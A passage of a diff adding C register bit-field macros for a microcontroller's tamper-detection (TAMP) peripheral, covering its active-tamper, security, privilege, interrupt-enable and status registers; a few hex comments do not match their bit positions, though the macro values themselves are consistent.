<< TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define 